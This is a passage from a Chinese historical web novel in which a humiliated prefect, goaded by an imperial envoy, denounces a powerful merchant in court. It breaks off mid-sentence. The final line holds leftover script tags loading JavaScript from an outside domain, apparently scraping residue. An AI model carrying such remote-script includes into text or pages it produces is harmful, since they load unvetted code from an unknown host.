再也抬不起头来。
想到这里,黄文炳的身体开始微微颤抖,那已不是因为呛咳,而是源于极度的愤怒与屈辱。
就在这时,那个让他又敬又畏的年轻人,再次开口了。
赵龙依旧安坐于旁听席的首位,神情淡然。
仿佛眼前的一切混乱,都不过是剧本上早已写好的一幕。
他甚至好整以暇地端起自己的茶杯,朝着黄文炳的方向遥遥一举,语气里带着一丝恰到好处的“关切”。
“黄大人,看来这位能在杭州城一手遮天的沈大员外,是半点没把你这个朝廷命官放在眼里啊。”
这句话说得很轻。
听在黄文炳的耳朵里,却像一根烧红的烙铁,狠狠烫在他的心口上。
这是在逼他。
逼他彻底撕下最后一点脸皮,做出最终的选择。
黄文炳的眼睛瞬间就红了。
对啊!
他黄文炳再怎么也是朝廷正印官,是天子门生!
可以贪财,可以无能!
但绝不能容忍一个满身铜臭的商人,如此公开地践踏“士大夫”的尊严,践踏“皇权”的威严!
霎时间,他心中对沈万三仅存的那丝幻想与畏惧,烟消云散。
取而代之的,是被逼入绝境后的疯狂。
你不仁,就休怪我不义!
沈万三,这是你逼我的!
黄文炳肥硕的身体猛地从椅子上站起。
这一次,他看也未看赵龙,而是快步走下公堂,几步就冲到了赵龙的面前。
他当着所有人的面,对着这个比自己儿子还年轻的青年,重重一抱拳,深深地弯下了那颗平日里高傲的头颅。
“钦差大人!”
他的声音因极度的羞愤而嘶哑颤抖。
“沈万三此獠,目无王法,藐视公堂,公然抗旨!”
他几乎是用尽了全身的力气,从喉咙里挤出了两个字。
“其罪……当诛!”
他猛地抬起头,那双浑浊的老眼里,竟已逼出了几滴屈辱的泪水。
“下官无能!官微权轻,实在是奈何他不得啊!”
“下官恳请,恳请钦差大人为下官做主!为我杭州官府,为我大宋法度,主持公道!”
他这番声泪俱下的表演,既将自己的责任撇得一干二净,又将自己置于委屈受害的位置。
同时,更是将赵龙,
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">